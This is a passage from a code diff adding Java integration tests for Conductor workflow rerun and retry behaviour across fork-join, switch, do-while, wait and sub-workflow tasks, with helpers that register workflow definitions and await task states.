TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + Workflow.WorkflowStatus.RUNNING, + workflowClient.getWorkflow(workflowId, true).getStatus()); + }); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Task.Status.IN_PROGRESS, + wf.getTasks().stream() + .filter( + t -> + "wait_task" + .equals( + t + .getReferenceTaskName())) + .reduce((first, second) -> second) + .orElseThrow() + .getStatus()); + assertEquals( + Task.Status.IN_PROGRESS, + wf.getTasks().stream() + .filter( + t -> + "wait_for_webhook_task" + .equals( + t + .getReferenceTaskName())) + .reduce((first, second) -> second) + .orElseThrow() + .getStatus()); + Task newSimpleTask = + wf.getTasks().stream() + .filter( + t -> + "simple_task_case1" + .equals( + t + .getReferenceTaskName())) + .reduce((first, second) -> second) + .orElseThrow(); + assertTrue( + newSimpleTask.getStatus() == Task.Status.SCHEDULED + || newSimpleTask.getStatus() + == Task.Status.IN_PROGRESS); + Task newSimpleTaskFork4 = + wf.getTasks().stream() + .filter( + t -> + "simple_task_fork4" + .equals( + t + .getReferenceTaskName())) + .reduce((first, second) -> second) + .orElseThrow(); + assertTrue( + newSimpleTaskFork4.getStatus() == Task.Status.SCHEDULED + || newSimpleTaskFork4.getStatus() + == Task.Status.IN_PROGRESS); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task simpleTaskFork4ToComplete = + workflow.getTasks().stream() + .filter(t -> "simple_task_fork4".equals(t.getReferenceTaskName())) + .reduce((first, second) -> second) + .orElseThrow(); + completeTask(simpleTaskFork4ToComplete, TaskResult.Status.COMPLETED); + + await().atMost(15, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Task.Status.COMPLETED, + wf.getTasks().stream() + .filter( + t -> + "wait_task" + .equals( + t + .getReferenceTaskName())) + .reduce((first, second) -> second) + .orElseThrow() + .getStatus()); + }); + + workflowClient.terminateWorkflows(List.of(workflowId), "e2e"); + } + + @Test + @Disabled( + "SWITCH task rerun leaves workflow TERMINATED due to sync task status not being reset to SCHEDULED in conductor-oss") + @SneakyThrows + @DisplayName("When rerunning a workflow, tasks in a SWITCH are executed again") + public void switchRerunIssue() { + var mapper = new ObjectMapperProvider().getObjectMapper(); + + var wfDef = + mapper.readValue( + getResourceAsString("metadata/switch_rerun_issue.json"), WorkflowDef.class); + metadataClient.updateWorkflowDefs(java.util.List.of(wfDef)); + + var startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(wfDef.getName()); + startWorkflowRequest.setVersion(wfDef.getVersion()); + startWorkflowRequest.setInput(Map.of("case", "yes")); + + var wfId = workflowClient.startWorkflow(startWorkflowRequest); + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(wfId, false); + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + }); + + var workflow = workflowClient.getWorkflow(wfId, true); + assertSwitchRerunIssueWorkflowState(workflow); + + var task0 = workflow.getTasks().getFirst(); + + var rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromTaskId(task0.getTaskId()); + + var rerun = workflowClient.rerunWorkflow(workflow.getWorkflowId(), rerunRequest); + assertNotNull(rerun); + assertEquals(workflow.getWorkflowId(), rerun); + + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(wfId, false); + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + }); + + workflow = workflowClient.getWorkflow(wfId, true); + assertSwitchRerunIssueWorkflowState(workflow); + } + + private static void assertSwitchRerunIssueWorkflowState(Workflow wf) { + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + assertEquals(4, wf.getTasks().size()); + + var inline1 = wf.getTaskByRefName("inline_ref_1"); + assertEquals(Task.Status.COMPLETED, inline1.getStatus()); + assertNotNull(inline1.getOutputData().get("result")); + + var wait = wf.getTaskByRefName("wait_ref"); + assertEquals(Task.Status.COMPLETED, wait.getStatus()); + + var switchTask = wf.getTaskByRefName("switch_ref"); + assertEquals(Task.Status.COMPLETED, switchTask.getStatus()); + + var inline2 = wf.getTaskByRefName("inline_ref_2"); + assertEquals(Task.Status.COMPLETED, inline2.getStatus()); + assertNotNull(inline2.getOutputData().get("result")); + + assertEquals(inline1.getOutputData().get("result"), inline2.getOutputData().get("result")); + assertEquals(1, inline1.getSeq()); + assertEquals(2, wait.getSeq()); + assertEquals(3, switchTask.getSeq()); + assertEquals(4, inline2.getSeq()); + } + + @Test + @Disabled("SWITCH task inside DO_WHILE rerun leaves workflow TERMINATED in conductor-oss") + @SneakyThrows + @DisplayName( + "When rerunning a workflow, tasks in a SWITCH task inside a DO_WHILE are executed again") + public void switchRerunIssue2() { + var mapper = new ObjectMapperProvider().getObjectMapper(); + + var wfDef = + mapper.readValue( + getResourceAsString("metadata/switch_rerun_issue_2.json"), + WorkflowDef.class); + metadataClient.updateWorkflowDefs(java.util.List.of(wfDef)); + + var startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(wfDef.getName()); + startWorkflowRequest.setVersion(wfDef.getVersion()); + startWorkflowRequest.setInput(Map.of("case", "yes")); + + var wfId = workflowClient.startWorkflow(startWorkflowRequest); + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(wfId, false); + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + }); + + var workflow = workflowClient.getWorkflow(wfId, true); + assertSwitchRerunIssue2WorkflowState(workflow); + + var task0 = + workflow.getTasks().stream() + .filter(it -> it.getReferenceTaskName().equals("inline_ref_1__3")) + .findFirst() + .orElseThrow(); + + var rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromTaskId(task0.getTaskId()); + + var rerun = workflowClient.rerunWorkflow(workflow.getWorkflowId(), rerunRequest); + assertNotNull(rerun); + assertEquals(workflow.getWorkflowId(), rerun); + + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(wfId, false); + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + }); + + workflow = workflowClient.getWorkflow(wfId, true); + assertSwitchRerunIssue2WorkflowState(workflow); + } + + private static void assertSwitchRerunIssue2WorkflowState(Workflow wf) { + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + + var inline1 = wf.getTaskByRefName("inline_ref_1__3"); + assertEquals(Task.Status.COMPLETED, inline1.getStatus()); + assertNotNull(inline1.getOutputData().get("result")); + + var wait = wf.getTaskByRefName("wait_ref__3"); + assertEquals(Task.Status.COMPLETED, wait.getStatus()); + + var switchTask0 = wf.getTaskByRefName("switch_ref__3"); + assertEquals(Task.Status.COMPLETED, switchTask0.getStatus()); + + var switchTask1 = wf.getTaskByRefName("switch_ref_1__3"); + assertEquals(Task.Status.COMPLETED, switchTask1.getStatus()); + + var inline2 = wf.getTaskByRefName("inline_ref_2__3"); + assertEquals(Task.Status.COMPLETED, inline2.getStatus()); + assertNotNull(inline2.getOutputData().get("result")); + + var inline3 = wf.getTaskByRefName("inline_ref_3__3"); + assertEquals(Task.Status.COMPLETED, inline3.getStatus()); + assertNotNull(inline3.getOutputData().get("result")); + + assertEquals(inline1.getOutputData().get("result"), inline2.getOutputData().get("result")); + assertEquals(inline1.getOutputData().get("result"), inline3.getOutputData().get("result")); + } + + private Workflow completeTask(Task task, TaskResult.Status status) { + return taskClient.updateTaskSync( + task.getWorkflowInstanceId(), + task.getReferenceTaskName(), + status, + task.getOutputData()); + } + + private String awaitSubWorkflowId(String workflowId) { + return awaitSubWorkflowId(workflowId, null); + } + + private String awaitSubWorkflowId(String workflowId, String referenceTaskName) { + final String[] subWorkflowId = new String[1]; + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(Duration.ofMillis(500)) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertFalse(workflow.getTasks().isEmpty()); + Task task = + referenceTaskName == null + ? workflow.getTasks().get(0) + : workflow.getTaskByRefName(referenceTaskName); + assertNotNull(task, "Task " + referenceTaskName + " should exist"); + subWorkflowId[0] = task.getSubWorkflowId(); + assertNotNull(subWorkflowId[0], "Child workflow ID should not be null"); + assertFalse(subWorkflowId[0].isBlank()); + }); + return subWorkflowId[0]; + } + + private Task awaitFirstTask(String workflowId) { + final Task[] task = new Task[1]; + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(Duration.ofMillis(500)) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertFalse(workflow.getTasks().isEmpty(), "Child should have tasks"); + task[0] = workflow.getTasks().get(0); + }); + return task[0]; + } + + private Task awaitTaskWithStatus(String workflowId, Task.Status status, String message) { + final Task[] task = new Task[1]; + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(Duration.ofMillis(500)) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + task[0] = + workflow.getTasks().stream() + .filter(t -> t.getStatus() == status) + .findFirst() + .orElse(null); + assertNotNull(task[0], message); + }); + return task[0]; + } + + private void terminateExistingRunningWorkflows(String workflowName) { + try { + SearchResult found = + workflowClient.search( + "workflowType IN (" + workflowName + ") AND status IN (RUNNING)"); + System.out.println( + "Found " + found.getResults().size() + " running workflows to be cleaned up"); + found.getResults() + .forEach( + workflowSummary -> { + System.out.println( + "Going to terminate " + + workflowSummary.getWorkflowId() + + " with status " + + workflowSummary.getStatus()); + workflowClient.terminateWorkflow( + workflowSummary.getWorkflowId(), "terminate - rerun test"); + }); + } catch (Exception e) { + if (!(e instanceof ConductorClientException)) { + throw e; + } + } + } + + private void registerForkJoinWorkflowDef(String workflowName, MetadataClient metadataClient) { + + String fork_task = "fork_task"; + String fork_task1 = "fork_task_1"; + String fork_task2 = "fork_task_2"; + String join_task = "join_task"; + + WorkflowTask fork_task_1 = new WorkflowTask(); + fork_task_1.setTaskReferenceName(fork_task1); + fork_task_1.setName(fork_task1); + fork_task_1.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask fork_task_2 = new WorkflowTask(); + fork_task_2.setTaskReferenceName(fork_task2); + fork_task_2.setName(fork_task2); + fork_task_2.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask fork_workflow_task = new WorkflowTask(); + fork_workflow_task.setTaskReferenceName(fork_task); + fork_workflow_task.setName(fork_task); + fork_workflow_task.setWorkflowTaskType(TaskType.FORK_JOIN); + fork_workflow_task.setForkTasks(List.of(List.of(fork_task_1), List.of(fork_task_2))); + + WorkflowTask join = new WorkflowTask(); + join.setTaskReferenceName(join_task); + join.setName(join_task); + join.setWorkflowTaskType(TaskType.JOIN); + join.setJoinOn(List.of(fork_task1, fork_task2)); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to test retry"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(Arrays.asList(fork_workflow_task, join)); + workflowDef.setOwnerEmail("test@conductor.io"); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } + + private void registerForkJoinWorkflowDef2(String workflowName, MetadataClient metadataClient) { + + String fork_task = "fork_task"; + String fork_task1 = "fork_task_1"; + String fork_task2 = "fork_task_2"; + String join_task = "join_task"; + String loop_task = "loop_task"; + String simple_task = "simple_task"; + + WorkflowTask fork_task_1 = new WorkflowTask(); + fork_task_1.setTaskReferenceName(fork_task1); + fork_task_1.setName(fork_task1); + fork_task_1.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask fork_task_2 = new WorkflowTask(); + fork_task_2.setTaskReferenceName(fork_task2); + fork_task_2.setName(fork_task2); + fork_task_2.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setTaskReferenceName(simple_task); + simpleTask.setName(simple_task); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask loopTask = new WorkflowTask(); + loopTask.setTaskReferenceName(loop_task); + loopTask.setName(loop_task); + loopTask.setWorkflowTaskType(TaskType.DO_WHILE); + loopTask.setLoopCondition("if ($.loop_task['iteration'] < 10) { true; } else { false;} "); + loopTask.setLoopOver(List.of(simpleTask)); + + WorkflowTask fork_workflow_task = new WorkflowTask(); + fork_workflow_task.setTaskReferenceName(fork_task); + fork_workflow_task.setName(fork_task); + fork_workflow_task.setWorkflowTaskType(TaskType.FORK_JOIN); + fork_workflow_task.setForkTasks(List.of(List.of(fork_task_1), List.of(fork_task_2))); + + WorkflowTask join = new WorkflowTask(); + join.setTaskReferenceName(join_task); + join.setName(join_task); + join.setWorkflowTaskType(TaskType.JOIN); + join.setJoinOn(List.of(fork_task1, fork_task2)); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to test retry"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(Arrays.asList(fork_workflow_task, join, loopTask)); + workflowDef.setOwnerEmail("test@conductor.io"); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } + + private WorkflowDef registerWaitWorkflow() { + var waitTask0 = new WorkflowTask(); + waitTask0.setTaskReferenceName("wait_0_ref"); + waitTask0.setName("wait_0"); + waitTask0.setWorkflowTaskType(TaskType.WAIT); + waitTask0.setInputParameters(Map.of("duration", "1 seconds")); + + var waitTask1 = new WorkflowTask(); + waitTask1.setTaskReferenceName("wait_1_ref"); + waitTask1.setName("wait_1"); + waitTask1.setWorkflowTaskType(TaskType.WAIT); + waitTask1.setInputParameters(Map.of("duration", "60 seconds")); + + var workflowDef = new WorkflowDef(); + workflowDef.setName("testRerunWaitTask"); + workflowDef.setVersion(1); + workflowDef.setDescription("Rerun On Wait Task"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(List.of(waitTask0, waitTask1)); + workflowDef.setOwnerEmail("test@conductor.io"); + + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + return workflowDef; + } + + private WorkflowDef registerDoWhileWorkflowDef(String workflowName) { + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setTaskReferenceName("simple_do_while_task"); + simpleTask.setName("simple_do_while_task"); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask doWhileTask = new WorkflowTask(); + doWhileTask.setTaskReferenceName("do_while_task"); + doWhileTask.setName("do_while_task"); + doWhileTask.setInputParameters(Map.of("maxIterations", "${workflow.input.maxIterations}")); + doWhileTask.setWorkflowTaskType(TaskType.DO_WHILE); + doWhileTask.setLoopCondition( + "if ($.do_while_task['iteration'] < $.maxIterations) { true; } else { false; }"); + doWhileTask.setLoopOver(List.of(simpleTask)); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setVersion(1); + workflowDef.setDescription("Test do_while rerun behavior"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(List.of(doWhileTask)); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(List.of("maxIterations")); + + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + return workflowDef; + } + + private void registerSwitchWorkflowDef(String workflowName) { + WorkflowTask case1Task = new WorkflowTask(); + case1Task.setTaskReferenceName("case1_task"); + case1Task.setName("case1_task"); + case1Task.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask case2Task = new WorkflowTask(); + case2Task.setTaskReferenceName("case2_task"); + case2Task.setName("case2_task"); + case2Task.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask defaultTask = new WorkflowTask(); + defaultTask.setTaskReferenceName("default_task"); + defaultTask.setName("default_task"); + defaultTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setTaskReferenceName("switch_task"); + switchTask.setName("switch_task"); + switchTask.setWorkflowTaskType(TaskType.SWITCH); + switchTask.setEvaluatorType("value-param"); + switchTask.setExpression("switchValue"); + switchTask.getDecisionCases().put("case1", List.of(case1Task)); + switchTask.getDecisionCases().put("case2", List.of(case2Task)); + switchTask.setDefaultCase(List.of(defaultTask)); + switchTask.setInputParameters(Map.of("switchValue", "${workflow.input.switchValue}")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setVersion(1); + workflowDef.setDescription("Test switch rerun behavior"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(List.of(switchTask)); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(List.of("switchValue")); + + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } + + private void registerForkJoinWithWaitAndSwitchWorkflow(String workflowName) { + WorkflowTask waitTask = new WorkflowTask(); + waitTask.setTaskReferenceName("wait_task"); + waitTask.setName("wait_task"); + waitTask.setWorkflowTaskType(TaskType.WAIT); + waitTask.setInputParameters(Map.of("duration", "10 seconds")); + + WorkflowTask waitForWebhookTask = new WorkflowTask(); + waitForWebhookTask.setTaskReferenceName("wait_for_webhook_task"); + waitForWebhookTask.setName("wait_for_webhook_task"); + waitForWebhookTask.setType("WAIT_FOR_WEBHOOK"); + waitForWebhookTask.setInputParameters( + Map.of("matches", Map.of("$['id']", "${workflow.input.key}"))); + + WorkflowTask simpleTaskCase1 = new WorkflowTask(); + simpleTaskCase1.setTaskReferenceName("simple_task_case1"); + simpleTaskCase1.setName("simple_task_case1"); + simpleTaskCase1.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask httpTaskCase2 = new WorkflowTask(); + httpTaskCase2.setTaskReferenceName("http_task_case2"); + httpTaskCase2.setName("http_task_case2"); + httpTaskCase2.setWorkflowTaskType(TaskType.HTTP); + httpTaskCase2.setInputParameters( + Map.of("uri", "https://orkes-api-tester.orkesconductor.com/api", "method", "GET")); + + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setTaskReferenceName("switch_task"); + switchTask.setName("switch_task"); + switchTask.setWorkflowTaskType(TaskType.SWITCH); + switchTask.setEvaluatorType("value-param"); + switchTask.setExpression("switchValue"); + switchTask.getDecisionCases().put("case1", List.of(simpleTaskCase1)); + switchTask.getDecisionCases().put("case2", List.of(httpTaskCase2)); + switchTask.setDefaultCase(new ArrayList<>()); + switchTask.setInputParameters(Map.of("switchValue", "case1")); + + WorkflowTask simpleTaskFork4 = new WorkflowTask(); + simpleTaskFork4.setTaskReferenceName("simple_task_fork4"); + simpleTaskFork4.setName("simple_task_fork4"); + simpleTaskFork4.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName("fork_task"); + forkTask.setName("fork_task"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks( + List.of( + List.of(waitTask), + List.of(waitForWebhookTask), + List.of(switchTask), + List.of(simpleTaskFork4))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName("join_task"); + joinTask.setName("join_task"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn( + List.of("wait_task", "wait_for_webhook_task", "switch_task", "simple_task_fork4")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setVersion(1); + workflowDef.setDescription( + "Test rerun with fork-join containing wait, wait_for_webhook, and switch tasks"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(List.of(forkTask, joinTask)); + workflowDef.setOwnerEmail("test@conductor.io"); + + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } + + @Test + @DisplayName( + "PR #3458: Rerun task in subworkflow should reschedule cancelled sibling tasks in parent fork") + public void testRerunSubWorkflowTaskReschedulesCancelledParentSiblingTask() { + String parentWfName = "rerun-subwf-cancelled-sibling-parent-" + System.currentTimeMillis(); + String subWfName = "rerun-subwf-cancelled-sibling-child-" + System.currentTimeMillis(); + String taskInSubRef = "task_in_sub"; + String subWfTaskRef = "sub_wf_task"; + String siblingTaskRef = "sibling_task"; + String forkRef = "fork_cancelled_sibling_test"; + String joinRef = "join_cancelled_sibling_test"; + + // Sub-workflow: single SIMPLE task + TaskDef taskInSubDef = new TaskDef(taskInSubRef); + taskInSubDef.setRetryCount(0); + taskInSubDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask taskInSubWt = new WorkflowTask(); + taskInSubWt.setTaskReferenceName(taskInSubRef); + taskInSubWt.setName(taskInSubRef); + taskInSubWt.setTaskDefinition(taskInSubDef); + taskInSubWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTimeoutSeconds(600); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subWfDef.setTasks(List.of(taskInSubWt)); + metadataClient.updateWorkflowDefs(java.util.List.of(subWfDef)); + + // Parent workflow: FORK(sub_wf_task | sibling_task) → JOIN + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setTaskReferenceName(subWfTaskRef); + subWfTask.setName(subWfName); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask.setSubWorkflowParam(subParams); + + TaskDef siblingTaskDef = new TaskDef(siblingTaskRef); + siblingTaskDef.setRetryCount(0); + siblingTaskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask siblingTask = new WorkflowTask(); + siblingTask.setTaskReferenceName(siblingTaskRef); + siblingTask.setName(siblingTaskRef); + siblingTask.setTaskDefinition(siblingTaskDef); + siblingTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName(forkRef); + forkTask.setName("FORK_JOIN"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks(List.of(List.of(subWfTask), List.of(siblingTask))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName(joinRef); + joinTask.setName("JOIN"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(subWfTaskRef, siblingTaskRef)); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTimeoutSeconds(600); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentWfDef.setTasks(List.of(forkTask, joinTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentWfDef)); + + try { + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(parentWfName); + startRequest.setVersion(1); + String workflowId = workflowClient.startWorkflow(startRequest); + + // Wait for fork tasks and the subworkflow's inner task to be created + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task swt = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(subWfTaskRef)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "sub_wf_task not found")); + assertNotNull( + swt.getSubWorkflowId(), + "sub_wf_task should have a subWorkflowId"); + assertFalse( + workflowClient + .getWorkflow(swt.getSubWorkflowId(), true) + .getTasks() + .isEmpty(), + "Subworkflow should have tasks"); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + String subWorkflowId = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfTaskRef)) + .findFirst() + .orElseThrow() + .getSubWorkflowId(); + + // Fail the inner task of the subworkflow + Workflow subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task taskInSub = + subWorkflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(taskInSubRef)) + .findFirst() + .orElseThrow(() -> new AssertionError("task_in_sub not found")); + completeTask(taskInSub, TaskResult.Status.FAILED); + + // Wait for parent to FAIL and sibling_task to be CANCELLED + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + wf.getStatus(), + "Parent should be FAILED. Got: " + wf.getStatus()); + Task sibling = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(siblingTaskRef)) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "sibling_task not found")); + assertEquals( + Task.Status.CANCELED, + sibling.getStatus(), + "sibling_task should be CANCELLED. Got: " + + sibling.getStatus()); + }); + + // === RETRY the subworkflow — triggers updateAndPushParents on the parent === + workflowClient.retryWorkflow(List.of(subWorkflowId)); + + // Wait for parent to resume to RUNNING + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING, + wf.getStatus(), + "Parent should be RUNNING after retry. Got: " + + wf.getStatus()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + + // === KEY ASSERTION: sibling_task must be rescheduled, not stuck CANCELLED === + Task rescheduledSibling = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(siblingTaskRef)) + .findFirst() + .orElseThrow( + () -> new AssertionError("sibling_task not found after retry")); + assertTrue( + rescheduledSibling.getStatus() == Task.Status.SCHEDULED + || rescheduledSibling.getStatus() == Task.Status.IN_PROGRESS, + "sibling_task should be SCHEDULED or IN_PROGRESS after retry, not CANCELLED. Got: " + + rescheduledSibling.getStatus()); + + // Complete sibling_task + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertFalse( + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(siblingTaskRef)) + .allMatch(t -> t.getStatus().isTerminal()), + "sibling_task should be active"); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + Task siblingToComplete = + workflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(siblingTaskRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(); + completeTask(siblingToComplete, TaskResult.Status.COMPLETED); + + // Complete the retried inner task of the subworkflow + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWorkflowId, true); + assertTrue( + sw.getTasks().stream() + .anyMatch( + t -> + t.getReferenceTaskName() + .equals( + taskInSubRef) + && !t.getStatus() + .isTerminal()), + "task_in_sub should be active after retry"); + }); + subWorkflow = workflowClient.getWorkflow(subWorkflowId, true); + Task retriedTaskInSub = + subWorkflow.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName().equals(taskInSubRef) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "Active task_in_sub not found after retry")); + completeTask(retriedTaskInSub, TaskResult.Status.COMPLETED); + + // Parent should reach COMPLETED + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + wf.getStatus(), + "Workflow should reach COMPLETED. Got: " + wf.getStatus()); + }); + + } finally { + try { + terminateExistingRunningWorkflows(parentWfName); + } catch (Exception e) { + /* ignore */ + } + try { + terminateExistingRunningWorkflows(subWfName); + } catch (Exception e) { + /* ignore */ + } + } + } + + /** + * Three-branch FORK: rerunning a task inside the subworkflow must reschedule ALL cancelled + * siblings across every other fork branch, not just one. + * + *

    Workflow structure: FORK(branch1: sub_wf_task(SUB_WORKFLOW) | branch2: sibling1(SIMPLE) | + * branch3: sibling2(SIMPLE)) → JOIN + * + *

    When sub_wf_task fails, sibling1 AND sibling2 are both CANCELLED. After rerun from inside + * the subworkflow, both must be SCHEDULED. + */ + @Test + @DisplayName( + "PR #3458: Rerun in subworkflow reschedules ALL cancelled siblings across a three-branch fork") + public void testRerunSubWorkflowReschedulesMultipleCancelledSiblings() { + String parentWfName = "rerun-subwf-multi-sibling-parent-" + System.currentTimeMillis(); + String subWfName = "rerun-subwf-multi-sibling-child-" + System.currentTimeMillis(); + String taskInSubRef = "task_in_sub_multi"; + String subWfTaskRef = "sub_wf_task_multi"; + String sibling1Ref = "sibling_task_1"; + String sibling2Ref = "sibling_task_2"; + String forkRef = "fork_multi_sibling_test"; + String joinRef = "join_multi_sibling_test"; + + // Sub-workflow: single SIMPLE task + TaskDef taskInSubDef = new TaskDef(taskInSubRef); + taskInSubDef.setRetryCount(0); + taskInSubDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask taskInSubWt = new 